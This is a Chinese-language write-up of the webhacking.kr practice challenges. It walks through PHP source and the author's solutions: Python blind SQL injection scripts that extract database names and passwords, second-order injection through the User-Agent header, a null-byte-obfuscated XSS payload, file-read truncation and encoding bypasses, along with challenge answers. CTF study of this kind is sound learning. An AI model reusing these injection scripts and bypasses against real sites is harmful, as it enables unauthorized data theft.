Webhacking writeup By Assassin [隨便玩一玩]

果真是webhacking,申請賬號都這麼有逼格^_^用burp抓包發現源碼訪問如下

這裏寫圖片描述

還有什麼decode me需要三次解碼base64即可得到一個ip值即可,然後就可以開始我們的挑戰啦!

第一關

上來得到代碼

<?
if(!$_COOKIE[user_lv])
{
SetCookie("user_lv","1");
echo("<meta http-equiv=refresh content=0>");
}
?>
<html>
<head>
<title>Challenge 1</title>
</head>
<body bgcolor=black>
<center>
<br><br><br><br><br>
<font color=white>
---------------------<br>
<?

$password="????";

if(eregi("[^0-9,.]",$_COOKIE[user_lv])) $_COOKIE[user_lv]=1;

if($_COOKIE[user_lv]>=6) $_COOKIE[user_lv]=1;

if($_COOKIE[user_lv]>5) @solve();

echo("<br>level : $_COOKIE[user_lv]");

?>
<br>
<pre>
<a onclick=location.href='index.phps'>----- index.phps -----</a>
</body>
</html>

然後我們看一下eregi匹配的東西[^0-9,.]匹配了除了數字、小數點和逗號的字符,如果匹配到了那麼就將cookie值賦成1,否則沿用,而且我們注意到了存在小數點,要我們輸入的東西大於5小於6,就是中間的小數。隨便構造一下就好了

這裏寫圖片描述

第二關

這一關不全是我自己想出來的…主要是確實想不到吧。首先掃描了一遍目錄,發現存在/admin/後臺,然後嘗試了一下並不存在什麼注入點(一開始一心以爲是注入,以爲只不過我的水平實在是太差了而已)但是經過提示是cookie注入…加上無意間發現了這個玩意

這裏寫圖片描述

發現個別時候時間會出現error???而且我們的時間戳不變的話反映出的時間其實不會改變的。然後嘗試盲注發現可以成功爆出所在數據庫

#_*_ coding:utf-8 _*_
import re,urllib,requests
url = 'http://webhacking.kr/challenge/web/web-02/'
temp = 0
def search2(content,pos,l,r):
    global temp
    if l>r:
        return 
    mid = (l+r)/2
    inject='23333333 and 1=(select ascii(substr('+content+' from '+str(pos)+'))>='+str(mid)+')'
    print inject
    cookies = {'time':inject,'PHPSESSID':'136de2147ed2139e37dceda9c0d90144','td_cookie':'18446744072591562357'}
    html = requests.get(url,cookies=cookies).text.encode('utf-8')
    if '<!--2070-01-01 09:00:01-->' in html:
        temp=mid
        search2(content,pos,mid+1,r)
    else :
        search2(content,pos,l,mid-1)
def get_database():
    global url 
    global temp
    db =''
    for i in range(1,50):
        temp = 0
        search2('database()',i,1,130)
        if temp==0:
            break
        db+=chr(temp)
        print db
get_database()

但是僅僅限於此了,因爲它過濾了table_name等關鍵詞…然後就陷入了尷尬的情況,我們到底需要知道什麼?猜測就是password列名和admin表名…成功了??

#_*_ coding:utf-8 _*_
import re,urllib,requests
url = 'http://webhacking.kr/challenge/web/web-02/'
temp = 0
def search2(content,pos,l,r):
    global temp
    if l>r:
        return 
    mid = (l+r)/2
    inject='23333333 and 1=(select ascii(substr('+content+' from '+str(pos)+'))>='+str(mid)+')'
    print inject
    cookies = {'time':inject,'PHPSESSID':'136de2147ed2139e37dceda9c0d90144','td_cookie':'18446744072591562357'}
    html = requests.get(url,cookies=cookies).text.encode('utf-8')
    if '<!--2070-01-01 09:00:01-->' in html:
        temp=mid
        search2(content,pos,mid+1,r)
    else :
        search2(content,pos,l,mid-1)
def get_password():
    global url 
    global temp
    password =''
    for i in range(1,50):
        temp = 0
        search2('(select password from admin)',i,1,130)
        if temp==0:
            break
        password+=chr(temp)
        print password
#get_database()
#webhacking   0x7765626861636b696e67
get_password()

到/admin/登陸試試然後看到

-관리자 패스워드가 유출되지 않게 조심하세요.
-처음 사용하시는 분은 메뉴얼을 참고하세요.(메뉴얼 패스워드 : @dM1n__nnanual)

但是我們的目標似乎在這裏

這裏寫圖片描述

嗯…但是這個提示有個鬼用…試了試都不是該密碼,莫名其妙的又一個腦洞…

這裏寫圖片描述

對,你沒猜錯,這個地方存在一個password列…我…直接爆就行了,加上這個代碼

def get_password():
    global url 
    global temp
    password =''
    for i in range(1,50):
        temp = 0
        search2('(select password from FreeB0aRd)',i,1,140)
        if temp==0:
            break
        password+=chr(temp)
        print password

容易得到密碼是7598522ae,進入以後發現存在一個壓縮包的連接什麼鬼???
zip文件還存在密碼…額,這個估計就是admin裏面提示的那個密碼了吧,打開嘗試果真如此,成功打開網頁發現了答案…

HacKed_by_n0b0dY 

腦洞真心艱難…勞資要報警了…喂?110在嗎?

第三關

真是夠了有沒有…這玩意就是真的猜測題目啊!!!!還想爆破,不過感覺就是扯淡…然後觀察格子,最後猜測,就是每一行或每一列對應的就是我們應該畫上的黑格子的數量,比如一個3,我們就要畫三個連續的黑格子,比如111,我們就要畫三個間隔的黑格子

這裏寫圖片描述

敢不敢別真出數學題啊…
然後我們可以進入到這個界面
這裏寫圖片描述

看着正常多了…猜測是注入吧,因爲回顯並沒有顯示什麼,神特麼什麼都搞不出來…後面提交的answer貌似存在注入吧,會回顯query error!fuzz 一發(也不知道他要幹嘛)得到沒過濾的寥寥無幾

發現or and select什麼的都被過濾了,不像是注入了…扎心了老鐵…實在不知道幹嘛看了題解,我知道||沒過濾,但是這又是啥做法……

這裏寫圖片描述

我真的要報警了啊,實在是腦洞太大了……要麼簡單到死要麼腦洞難…

第四關

這是什麼玩意兒???首先base64解密,得到一個什麼sha1的東東?
拿去解密解密成功得到

a94a8fe5ccb19ba61c4c0873d391e987982fbbd3

神特麼…還是sha1?繼續解密得到答案…

test

第五關

發現了界面上顯示有什麼login和join按鈕,然後看一下源碼發現存在/mem/login.php,而join按鈕直接返回一個alert,但是真的是想錯了!!!真是太社會了…發現/mem/目錄可見!!!就會發現在那個目錄地下還有一個join.php。。。驚不驚喜?
得到一堆源碼,然後稍微處理一下,主要代碼如下

<script>
            l = 'a';
            ll = 'b';
            lll = 'c';
            llll = 'd';
            lllll = 'e';
            llllll = 'f';
            lllllll = 'g';
            llllllll = 'h';
            lllllllll = 'i';
            llllllllll = 'j';
            lllllllllll = 'k';
            llllllllllll = 'l';
            lllllllllllll = 'm';
            llllllllllllll = 'n';
            lllllllllllllll = 'o';
            llllllllllllllll = 'p';
            lllllllllllllllll = 'q';
            llllllllllllllllll = 'r';
            lllllllllllllllllll = 's';
            llllllllllllllllllll = 't';
            lllllllllllllllllllll = 'u';
            llllllllllllllllllllll = 'v';
            lllllllllllllllllllllll = 'w';
            llllllllllllllllllllllll = 'x';
            lllllllllllllllllllllllll = 'y';
            llllllllllllllllllllllllll = 'z';
            I = '1';
            II = '2';
            III = '3';
            IIII = '4';
            IIIII = '5';
            IIIIII = '6';
            IIIIIII = '7';
            IIIIIIII = '8';
            IIIIIIIII = '9';
            IIIIIIIIII = '0';
            li = '.';
            ii = '<';
            iii = '>';
            lIllIllIllIllIllIllIllIllIllIl = lllllllllllllll + llllllllllll + llll + llllllllllllllllllllllllll + lllllllllllllll + lllllllllllll + ll + lllllllll + lllll;
            lIIIIIIIIIIIIIIIIIIl = llll + lllllllllllllll + lll + lllllllllllllllllllll + lllllllllllll + lllll + llllllllllllll + llllllllllllllllllll + li + lll + lllllllllllllll + lllllllllllllll + lllllllllll + lllllllll + lllll;
            if (eval(lIIIIIIIIIIIIIIIIIIl).indexOf(lIllIllIllIllIllIllIllIllIllIl) == -1) {
                alert("Goodbye");
            }
            if (eval(llll + lllllllllllllll + lll + lllllllllllllllllllll + lllllllllllll + lllll + llllllllllllll + llllllllllllllllllll + li + 'U' + 'R' + 'L').indexOf(lllllllllllll + lllllllllllllll + llll + lllll + '=' + I) == -1) {
                alert('access_denied');
                history.go(-1);
            } else {
                document.write('<font size=2 color=white>Join</font><p>');
                document.write('.<p>.<p>.<p>.<p>.<p>');
                document.write('<form method=post action=' + llllllllll + lllllllllllllll + lllllllll + llllllllllllll + li + llllllllllllllll + llllllll + llllllllllllllll + '>');
                document.write('<table border=1><tr><td><font color=gray>id</font></td><td><input type=text name=' + lllllllll + llll + ' maxlength=5></td></tr>');
                document.write('<tr><td><font color=gray>pass</font></td><td><input type=text name=' + llllllllllllllll + lllllllllllllllllllllll + ' maxlength=10></td></tr>');
                document.write('<tr align=center><td colspan=2><input type=submit></td></tr></form></table>');
            }
        </script>

可以看到是一個代碼混淆,然後怎麼處理,我嘗試去乖乖地想辦法繞過,但是貌似並不行…然後呢?發現它其實是js控制的申請輸入啊!我們爲什麼不能自己重新構造利用呢!!!然後我們利用console輸入如下代碼

            l = 'a';
            ll = 'b';
            lll = 'c';
            llll = 'd';
            lllll = 'e';
            llllll = 'f';
            lllllll = 'g';
            llllllll = 'h';
            lllllllll = 'i';
            llllllllll = 'j';
            lllllllllll = 'k';
            llllllllllll = 'l';
            lllllllllllll = 'm';
            llllllllllllll = 'n';
            lllllllllllllll = 'o';
            llllllllllllllll = 'p';
            lllllllllllllllll = 'q';
            llllllllllllllllll = 'r';
            lllllllllllllllllll = 's';
            llllllllllllllllllll = 't';
            lllllllllllllllllllll = 'u';
            llllllllllllllllllllll = 'v';
            lllllllllllllllllllllll = 'w';
            llllllllllllllllllllllll = 'x';
            lllllllllllllllllllllllll = 'y';
            llllllllllllllllllllllllll = 'z';
            I = '1';
            II = '2';
            III = '3';
            IIII = '4';
            IIIII = '5';
            IIIIII = '6';
            IIIIIII = '7';
            IIIIIIII = '8';
            IIIIIIIII = '9';
            IIIIIIIIII = '0';
            li = '.';
            ii = '<';
            iii = '>';
            lIllIllIllIllIllIllIllIllIllIl = lllllllllllllll + llllllllllll + llll + llllllllllllllllllllllllll + lllllllllllllll + lllllllllllll + ll + lllllllll + lllll;
            lIIIIIIIIIIIIIIIIIIl = llll + lllllllllllllll + lll + lllllllllllllllllllll + lllllllllllll + lllll + llllllllllllll + llllllllllllllllllll + li + lll + lllllllllllllll + lllllllllllllll + lllllllllll + lllllllll + lllll;
                document.write('<font size=2 color=white>Join</font><p>');
                document.write('.<p>.<p>.<p>.<p>.<p>');
                document.write('<form method=post action=' + llllllllll + lllllllllllllll + lllllllll + llllllllllllll + li + llllllllllllllll + llllllll + llllllllllllllll + '>');
                document.write('<table border=1><tr><td><font color=gray>id</font></td><td><input type=text name=' + lllllllll + llll + ' maxlength=50></td></tr>');
                document.write('<tr><td><font color=gray>pass</font></td><td><input type=text name=' + llllllllllllllll + lllllllllllllllllllllll + ' maxlength=100></td></tr>');
                document.write('<tr align=center><td colspan=2><input type=submit></td></tr></form></table>');

然後可以發現出現了輸入框(注意,我們重新改了輸入的長度限制!!!)然後嘗試利用數據庫長度截斷來着,但是報錯了,那我們嘗試在後面構造空格繞過即可

username:admin (注意結尾還有個空格!)
password:123

又漲見識了…長見識…

第六關

簡單到沒邊…真是夠了…

#_*_coding:utf-8_*_
import re,urllib,requests,base64
def change1(sss):
    return sss.replace("!","1").replace("@","2").replace("$","3").replace("^","4").replace("&","5").replace("*","6").replace("(","7").replace(")","8")
def change2(sss):
    return sss.replace("1","!").replace("2","@").replace("3","$").replace("4","^").replace("5","&").replace("6","*").replace("7","(").replace("8",")") 
'''
sss='Vm0wd@QyUXlVWGxWV0d^V!YwZDRWMVl$WkRSV0!WbDNXa!JTVjAxV@JETlhhMUpUVmpBeFYySkVUbGhoTVVwVVZtcEJlRll&U@tWVWJHaG9UVlZ$VlZadGNFSmxSbGw!VTJ0V!ZXSkhhRzlVVmxaM!ZsWmFjVkZ0UmxSTmJFcEpWbTEwYTFkSFNrZGpSVGxhVmpOU!IxcFZXbUZrUjA!R!UyMTRVMkpIZHpGV!ZFb$dWakZhV0ZOcmFHaFNlbXhXVm!wT!QwMHhjRlpYYlVaclVqQTFSMXBGV@xOVWJGcFlaSHBHVjFaRmIzZFdha!poVjBaT@NtRkhhRk&sYlhoWFZtMHhORmxWTUhoWGJrNVlZbFZhY@xWcVFURlNNVlY!VFZSU!ZrMXJjRWxhU0hCSFZqRmFSbUl*WkZkaGExcG9WakJhVDJOdFJraGhSazVzWWxob!dGWnRNWGRVTVZGM!RVaG9hbEpzY0ZsWmJGWmhZMnhXY!ZGVVJsTk&WbFkxVkZaU!UxWnJNWEpqUld^aFUwaENTRlpxUm!GU@JVbDZXa!prYUdFeGNHOVdha0poVkRKT@RGSnJhR@hTYXpWeldXeG9iMWRHV@&STldHUlZUVlpHTTFSVmFHOWhiRXB*WTBac!dtSkdXbWhaTVZwaFpFZFNTRkpyTlZOaVJtOTNWMnhXYjJFeFdYZE&WVlpUWVRGd!YxbHJXa$RUUmxweFVtMUdVMkpWYkRaWGExcHJZVWRGZUdOSE9WZGhhMHBvVmtSS!QyUkdTbkpoUjJoVFlYcFdlbGRYZUc&aU!XUkhWMjVTVGxOSGFGQlZiVEUwVmpGU!ZtRkhPVmhTTUhCNVZHeGFjMWR0U@tkWGJXaGFUVzVvV0ZreFdrZFdWa$B*VkdzMVYwMVZiekZXYlhCS!RWZEZlRmRZWkU!V!ZscFVXV$RrVTFsV!VsWlhiVVpPVFZad@VGVXlkREJXTVZweVkwWndXR0V^Y0ROV@FrWkxWakpPU!dKR!pGZFNWWEJ@Vm!0U!MxUXlUWGxVYTFwb!VqTkNWRmxZY0ZkWFZscFlZMFU!YVUxcmJEUldNalZUVkd^a!NGVnNXbFZXYkhCWVZHdGFWbVZIUmtoUFYyaHBVbGhDTmxkVVFtRmpNV!IwVTJ0a!dHSlhhR0ZVVnpWdlYwWnJlRmRyWkZkV@EzQjZWa@R*TVZkR!NsWmpSV$hYWWxoQ!RGUnJXbEpsUm!SellVWlNhRTFzU@&oV!Z*QjRUa@RHUjFaWVpHaFNWVFZWVlcxNGQyVkdWblJOVldSV!RXdHdWMWxyVW!GWFIwVjRZMGhLV@xaWFVrZGFWV!JQVTBVNVYxcEhhR@hOU0VKMlZtMTBVMU!^VVhsVmEyUlZZbXR$YUZWdGVFdGpSbHB^VkcwNVYxWnNjRWhYVkU!dllWVXhXRlZ!Y0ZkTlYyaDJWMVphUzFJeFRuVlJiRlpYVFRGS0&sWkdVa@RWTVZwMFVtdG9VRlp0YUZSVVZXaERVMnhhYzFwRVVtcE&WMUl$VlRKMGExZEhTbGhoUjBaVlZucFdkbFl$V@&KbFJtUnlXa!prVjJFelFqWldhMlI@VFZaWmVWTnJaR@hOTW!oWVdWUkdkMkZHV@xWU@JGcHNVbTFTTVZVeWN*RlhSa$BaVVc!b!YxWXphSEpVYTJSSFVqRmFXVnBIYUZOV!ZGWldWbGN^TkdReVZrZFdXR$hyVWpCYWNGVnRlSGRsYkZsNVpVaGtXRkl$VmpSWk!GSlBWMjFGZVZWclpHRldNMmhJV!RJeFMxSXhjRWhpUm!oVFZsaENTMVp0TVRCVk!VMTRWbGhvV0ZkSGFGbFpiWGhoVm!^c@NscEhPV$BTYkhCNFZrY$dOVll^V@&OalJXaFlWa!UxZGxsV!ZYaFhSbFp&WVVaa!RtRnNXbFZXYTJRMFdWWktjMVJ!VG!oU@JGcFlXV$hhUm!ReFduRlJiVVphVm0xU!NWWlhkRzloTVVwMFlVWlNWVlpXY0dGVVZscGhZekZ$UlZWdGNFNVdNVWwzVmxSS0!HRXhaRWhUYkdob!VqQmFWbFp0ZUhkTk!WcHlWMjFHYWxacmNEQmFSV!F$VmpKS@NsTnJhRmRTTTJob!ZrUktSMVl^VG&WVmJFSlhVbFJXV!ZaR!l*RmlNV!JIWWtaV!VsZEhhRlJVVm!SVFpXeHNWbGRzVG!oU!ZFWjZWVEkxYjFZeFdYcFZiR@hZVm!^d!lWcFZXbXRrVmtwelZtMXNWMUl*YURWV0!XUXdXVmRSZVZaclpGZGliRXB&Vld0V!MySXhiRmxqUldSc!ZteEtlbFp0TURWWFIwcEhZMFpvV@sxSGFFeFdNbmhoVjBaV@NscEhSbGROTW!oSlYxUkplRk!^U!hoalJXUmhVbXMxV0ZZd!ZrdE&iRnAwWTBWa!dsWXdWalJXYkdodlYwWmtTR0ZHV@xwaVdHaG9WbTE0YzJOc!pISmtSM0JUWWtad0&GWlhNVEJOUmxsNFYyNU9hbEpYYUZoV@FrNVRWRVpzVlZGWWFGTldhM0I@VmtkNFlWVXlTa!pYV0hCWFZsWndSMVF^V@tOVmJFSlZUVVF$UFE9PQ=='
sss=change1(sss)
for i in range(20):
    sss=base64.b64decode(sss)
print sss
'''
sss='admin'
for i in range(20):
    sss=base64.b64encode(sss)
print urllib.quote(change2(sss))

然後用得到的值去替換cookie即可

第七關

掃一遍目錄發現index.phps,看源碼

<?
$answer = "????";

$go=$_GET[val];

if(!$go) { echo("<meta http-equiv=refresh content=0;url=index.php?val=1>"); }

$ck=$go;

$ck=str_replace("*","",$ck);
$ck=str_replace("/","",$ck);


echo("<html><head><title>admin page</title></head><body bgcolor='black'><font size=2 color=gray><b><h3>Admin page</h3></b><p>");


if(eregi("--|2|50|\+|substring|from|infor|mation|lv|%20|=|!|<>|sysM|and|or|table|column",$ck)) exit("Access Denied!");

if(eregi(' ',$ck)) { echo('cannot use space'); exit(); }

$rand=rand(1,5);

if($rand==1)
{
$result=@mysql_query("select lv from lv1 where lv=($go)") or die("nice try!");
}

if($rand==2)
{
$result=@mysql_query("select lv from lv1 where lv=(($go))") or die("nice try!");
}

if($rand==3)
{
$result=@mysql_query("select lv from lv1 where lv=((($go)))") or die("nice try!");
}

if($rand==4)
{
$result=@mysql_query("select lv from lv1 where lv=(((($go))))") or die("nice try!");
}

if($rand==5)
{
$result=@mysql_query("select lv from lv1 where lv=((((($go)))))") or die("nice try!");
}

$data=mysql_fetch_array($result);
if(!$data[0]) { echo("query error"); exit(); }
if($data[0]!=1 && $data[0]!=2) { exit(); }


if($data[0]==1)
{
echo("<input type=button style=border:0;bgcolor='gray' value='auth' onclick=
alert('Access_Denied!')><p>");
echo("<!-- admin mode : val=2 -->");
}

if($data[0]==2)
{
echo("<input type=button style=border:0;bgcolor='gray' value='auth' onclick=
alert('Congratulation')><p>");
@solve();
} 
?>

然後發現提示說沒有結果的2的列,要用union select查詢,恰巧就沒有過濾這些,但是貌似過濾了2和+、*、/,但是還存在減號可以構造(5-3),空格過濾可以用圓括號代替,但是不知道爲啥本地都通過了網站確顯示406….

這裏寫圖片描述

額…我百分百確定是網站炸了…我以爲是自己姿勢不對,然後看了看大佬的payload和我思路一樣,不背鍋~

http://webhacking.kr/challenge/web/web-07/index.php?val=0)union%09select(3-1

嘗試後貌似是不能又select,一有就完蛋。

第八關

打開源碼發現存在提示index.phps存在內容

<?
$agent=getenv("HTTP_USER_AGENT");
$ip=$_SERVER[REMOTE_ADDR];
$agent=trim($agent);
$agent=str_replace(".","_",$agent);
$agent=str_replace("/","_",$agent);
$pat="/\/|\*|union|char|ascii|select|out|infor|schema|columns|sub|-|\+|\||!|update|del|drop|from|where|order|by|asc|desc|lv|board|\([0-9]|sys|pass|\.|like|and|\'\'|sub/";
$agent=strtolower($agent);
if(preg_match($pat,$agent)) exit("Access Denied!");
$_SERVER[HTTP_USER_AGENT]=str_replace("'","",$_SERVER[HTTP_USER_AGENT]);
$_SERVER[HTTP_USER_AGENT]=str_replace("\"","",$_SERVER[HTTP_USER_AGENT]);
$count_ck=@mysql_fetch_array(mysql_query("select count(id) from lv0"));
if($count_ck[0]>=70) { @mysql_query("delete from lv0"); }
$q=@mysql_query("select id from lv0 where agent='$_SERVER[HTTP_USER_AGENT]'");
$ck=@mysql_fetch_array($q);
if($ck)
{ 
    echo("hi <b>$ck[0]</b><p>");
    if($ck[0]=="admin")
    {
        @solve();
        @mysql_query("delete from lv0");
    }
}

if(!$ck)
{
    $q=@mysql_query("insert into lv0(agent,ip,id) values('$agent','$ip','guest')") or die("query error");
    echo("<br><br>done!  ($count_ck[0]/70)");
}
?>

發現是ua構造注入,但是總感覺UA反而被防護的很死,但是下面一看還存在注入的東西,哎?那麼我們能否嘗試構造二次注入呢?因爲$_SERVER['REMOTE_ADDR']這東西不好注入,再好好看了看,發現UA並不是防的水泄不通!而且二次注入的思路是正確的!我們只需要insert進入值後每次查找就會找到對應的值!
而且最最重要的是,沒有過濾單引號、逗號和井號!這就搞笑了
首先構造

User-Agent: ','1','admin')#

這個時候會插入一條信息,UA和ip爲空,id爲我們注入的admin,只需要再進行一次查詢,輸入

User-Agent:(沒錯,後面什麼都沒有)

就可以完成挑戰了,不難。

第十關

我們回來看第十關,之前掃目錄烏龍發現做出了12題,知道估計就是本頁面解決問題,看來看去發現源碼中有東西

這裏寫圖片描述

然後分析我們知道,當我們點擊一下的時候某個變量自加1,然後當變量達到800的時候跳轉到一個鏈接。那我們直接在頁面上修改該變量是800就行了!嗯,該問題就解決了嗯.
當然你也可以直接加上自己猜測的後綴,加上?go=800

第十一關

就是個正則表達式???

這裏寫圖片描述

隨便搞一下就結束了嗯

http://webhacking.kr/challenge/codeing/code2.html?val=3aaaaa_.117.61.4.9.%09p%09a%09s%09s

第十二關

這個不是我有心做的,在看10題的時候掃了一下目錄發現存在

這裏寫圖片描述

http://webhacking.kr/challenge/codeing/test.php

嘿嘿嘿,打開看了一下

這裏寫圖片描述

然後不知道的直接帶到console跑一下就好了
這裏寫圖片描述

這裏寫圖片描述

結果做出來之後才發現…這是12題…額…繼續去做第十題…

第十四關

因爲這個簡單嘛!發現源碼

<script>
function ck()
{
var ul=document.URL;
ul=ul.indexOf(".kr");
ul=ul*30;
if(ul==pw.input_pwd.value) { alert("Password is "+ul*pw.input_pwd.value); }
else { alert("Wrong"); }
}

</script>

直接在console試試就好了

這裏寫圖片描述

輸入510即可得到password

260100

第十五關

呵呵噠,直接抓包即可

<script>
alert("Access_Denied");
history.go(-1);
document.write("password is off_script");
</script>

第十六關

打開了看過之後不知道是什麼東西…看了半天也沒看出個所以然,但是繼續看發現存在一個跳轉?

function mv(cd)
{
kk(star.style.posLeft-50,star.style.posTop-50);
if(cd==100) star.style.posLeft=star.style.posLeft+50;
if(cd==97) star.style.posLeft=star.style.posLeft-50;
if(cd==119) star.style.posTop=star.style.posTop-50;
if(cd==115) star.style.posTop=star.style.posTop+50;
if(cd==124) location.href=String.fromCharCode(cd);
}

所以我們只需要構造

mv(124)
Password is webhacking.kr

第十七關

簡單的js題目,直接console運行一下js就行了,得到該值

9997809307
Password is 999780930.7

第十八關

碰到了稍微正經的題目

<? 
if($_GET[no]) 
{ 
if(eregi(" |/|\(|\)|\t|\||&|union|select|from|0x",$_GET[no])) exit("no hack"); 
$q=@mysql_fetch_array(mysql_query("select id from challenge18_table where id='guest' and no=$_GET[no]")); 
if($q[0]=="guest") echo ("hi guest"); 
if($q[0]=="admin") 
{ 
@solve(); 
echo ("hi admin!"); 
} 
} 

?> 

發現我們可以控制的是no值,當輸入1的時候返回hi guest,說好的100分題目,沒get到,發現過濾了tab和空格,不出意外可以通過%0a繞過
,然後自己構建數據庫試驗了一下,發現這樣可以

mysql> select flag from flag where user='guest' and id=1;
+------------------------+
| flag                   |
+------------------------+
| flag{flag_is_not_here} |
+------------------------+
1 row in set (0.00 sec)

mysql> select flag from flag where user='guest' and id=0 or user='admin';
+--------------------+
| flag               |
+--------------------+
| flag{flag_is_here} |
+--------------------+
1 row in set (0.00 sec)

但是我在網站上構造的時候不能成功執行,不知爲何,但是我們可以通過構造no=0 or 1 limit 1,1搜索到admin

這裏寫圖片描述

http://webhacking.kr/challenge/web/web-32/index.php?no=0%0aor%0a1%0alimit%0a1,1

還是費了一些功夫的

第十九關

胡亂提交發現

這裏寫圖片描述

以爲是什麼提示,做了n久最後發現,題目爆炸了…

第二十關

思考…

這裏寫圖片描述

然後查看代碼發現一個比較重要的線索吧

function ck()
{

if(lv5frm.id.value=="") { lv5frm.id.focus(); return; }
if(lv5frm.cmt.value=="") { lv5frm.cmt.focus(); return; }
if(lv5frm.hack.value=="") { lv5frm.hack.focus(); return; }
if(lv5frm.hack.value!=lv5frm.attackme.value) { lv5frm.hack.focus(); return; }

lv5frm.submit();

}

然後就在想這到底是個啥,它說是js的代碼問題,不是別的…這個….
我們嘗試用js直接繞過他的限制?

lv5frm.id.value="1"
lv5frm.cmt.value="1"
lv5frm.hack.value=lv5frm.attackme.value
lv5frm.submit()

什麼玩意,居然還要多試很多次,搞得我尷尬癌都快犯了…

第二十一關

說是盲注來着,還是比較簡單的,沒什麼過濾,然後輕鬆找到注入點就是id

http://webhacking.kr/challenge/bonus/bonus-1/index.php
?no=0 or (select 1)%23
&id=123
&pw=123

發現返回True,如果改成select 0就會返回false,然後就可以寫腳本了,但是過濾了from…這搞個雞兒啊…但是看了看大佬的思路???居然直接select id或者select pw就行了…並不是常規的東西,真的好絕望…但是直接select pw貌似還不行,繼續嘗試發現提交1和2的時候都是返回True,那麼是不是說明不是第一個呢?而且漸漸的明白構造的語句是什麼

mysql> select flag from flag where id =2 and user='guest';
+------------------------+
| flag                   |
+------------------------+
| flag{flag_is_not_here} |
+------------------------+
1 row in set (0.00 sec)
mysql> select flag from flag where id =2 and (ascii(substring(user,1,1))=103);
+------------------------+
| flag                   |
+------------------------+
| flag{flag_is_not_here} |
+------------------------+
1 row in set (0.00 sec)
mysql> select flag from flag where id =2 and (ascii(substring(user,1,1))=104);
Empty set (0.00 sec)

就是醬,然後就注入就好了

#_*_coding:utf-8 _*_
import requests
headers={
    'Cookie':'PHPSESSID=cee7319f211ddf15f8aa79037787b6cd' #填寫自己賬號的cookie
}
temp=0
def search(content,pos,l,r):
    if l>r:
        return 
    global temp
    global headers
    mid=(l+r)/2
    url='http://webhacking.kr/challenge/bonus/bonus-1/index.php?no=2 %26%26 (select ascii(substring('+str(content)+','+str(pos)+',1))>'+str(mid)+')'
    print url
    html = requests.get(url,headers=headers).text
    if 'True' in html:
        temp = max(temp,mid)
        search(content,pos,mid+1,r)
    else:
        search(content,pos,l,mid-1)


def get_table():
    global temp 
    database=''
    for length in range(1,50):
        flag=0
        temp=0
        search("(select pw)",length,32,133)
        if temp!=0:
            database+=chr(temp)
        else :
            break
        print database
get_table()

得到akhmcrpkhmidbshnmjj提交了不對,然後繼續看大佬答案,腦洞….

這裏寫圖片描述

我要哭了…

blindsqlinjectionkk

第二十一關

一個XSS題目,嘗試了半天,過濾了<script>javascript等等然後嘗試了16進制和8進制未果,然後嘗試html轉碼還是未果,有點蒙圈了。而且過濾了其他標籤,事實上是過濾了<字母且長度大於等於2>,那麼就想到了<a>等這種特殊的標籤。

這裏寫圖片描述

但是各種嘗試還是未果…都要瘋掉了…看了一下大牛們的思路,神馬!!!這是什麼套路…這裏%00沒有截斷,而是作爲NULL輸入的然後可以利用這個繞過過濾…我去…
這裏寫圖片描述

http://lureout.tistory.com/515

<%00s%00c%00r%00i%00p%00t%00>%00a%00l%00e%00r%00t%00(%001%00)%00;%00<%00/%00s%00c%00r%00i%00p%00t%00>

這裏寫圖片描述

長見識了哥

第二十四關

發現源碼,然後觀看源碼發現最最直接的利用他的replace函數構造僞造,因爲匹配的都不存在單字符,所以可以使用,只需要構造

<?
extract($_SERVER);
extract($_COOKIE);
if(!$REMOTE_ADDR) $REMOTE_ADDR=$_SERVER[REMOTE_ADDR];
$ip=$REMOTE_ADDR;
$agent=$HTTP_USER_AGENT;
if($_COOKIE[REMOTE_ADDR])
{
$ip=str_replace("12","",$ip);
$ip=str_replace("7.","",$ip);
$ip=str_replace("0.","",$ip);
}
echo("<table border=1><tr><td>client ip</td><td>$ip</td></tr><tr><td>agent</td><td>$agent</td></tr></table>");
if($ip=="127.0.0.1")
{
@solve();
}
else
{
echo("<p><hr><center>Wrong IP!</center><hr>");
}
?>

這裏寫圖片描述

第二十五關

水題,利用了%00構造截斷,之前注入file=hello可以看到讀取了hello.txt,那麼想要讀取php文件就截斷.txt即可

這裏寫圖片描述

http://webhacking.kr/challenge/bonus/bonus-5/?file=password.php%00

第二十六關

發現源碼

<? 

if(eregi("admin",$_GET[id])) { echo("<p>no!"); exit(); } 

$_GET[id]=urldecode($_GET[id]); 

if($_GET[id]=="admin") 
{ 
@solve(26,100); 
} 

?> 

水題

http://webhacking.kr/challenge/web/web-11/?id=%2561%2564%256d%2569%256e

利用了兩次urldecode去構造繞過

第二十七關

還是注入題目,首先看到存在源碼泄露index.phps

 <html>
<head>
<title>Challenge 27</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get action=index.php>
<input type=text name=no><input type=submit>
</form>
<?
if($_GET[no])
{

if(eregi("#|union|from|challenge|select|\(|\t|/|limit|=|0x",$_GET[no])) exit("no hack");

$q=@mysql_fetch_array(mysql_query("select id from challenge27_table where id='guest' and no=($_GET[no])")) or die("query error");

if($q[id]=="guest") echo("guest");
if($q[id]=="admin") @solve();

}

?>
<!-- index.phps -->
</body>
</html>

然後隨便想了一種思路,在本地測試通過但是不知道爲什麼服務器死活不過,希望各位大佬指正

localhost/test.php?no=0) or id like 'admin' and no like 1--%20

輸出爲
select id from challenge27_table where id='guest' and no=(0) or id like 'admin' and no like 1-- )

除非是服務器中根本不存在admin這個人,但是事實不是我所意淫的,最終的解決方案是利用排序,或者說搜索到另一個,思路和我很像,最終payload

http://webhacking.kr/challenge/web/web-12/
?no=0) or no like 2 --%20

剛剛我們說的order by排序這裏還有另一種結題思路,一看便知

http://webhacking.kr/challenge/web/web-12/
?no=0) or 1 order by id asc --%20

簡直233

第三十關

關鍵代碼如下

$port=rand(10000,10100);
$socket=fsockopen("$_GET[server]","$port",$errno,$errstr,3) or die("error : $errstr");

猜到了,這個是隨機打開一個10000到10100的端口建立socket,真是醉了,我豈不是要用服務器開個端口監聽然後瘋狂刷包等待看看返回什麼玩意兒!!!果真是…
正常鏈接的不會報錯

這裏寫圖片描述

然後服務器可以看到答案嗯
這裏寫圖片描述

第三十二關

看到一個列表,一臉懵逼,但是審計源碼發現存在一些隱藏的鏈接,形如?hit=然後隨便點擊一個返回no,猜測就是某一個是正確的。先提取出來所有的鏈接,然後用burp去爆破一下就好了嗯,但是貌似失敗了,不是這個,沒什麼反應,反而倒是覺得是不是像把自己變成第一就行了呢?但是一提交就是no,應該是卡住了什麼條件。
然後發現burp包中存在一個非常關鍵的cookie,當我們去掉了他的時候就可以繞過那個煩人的no了

這裏寫圖片描述

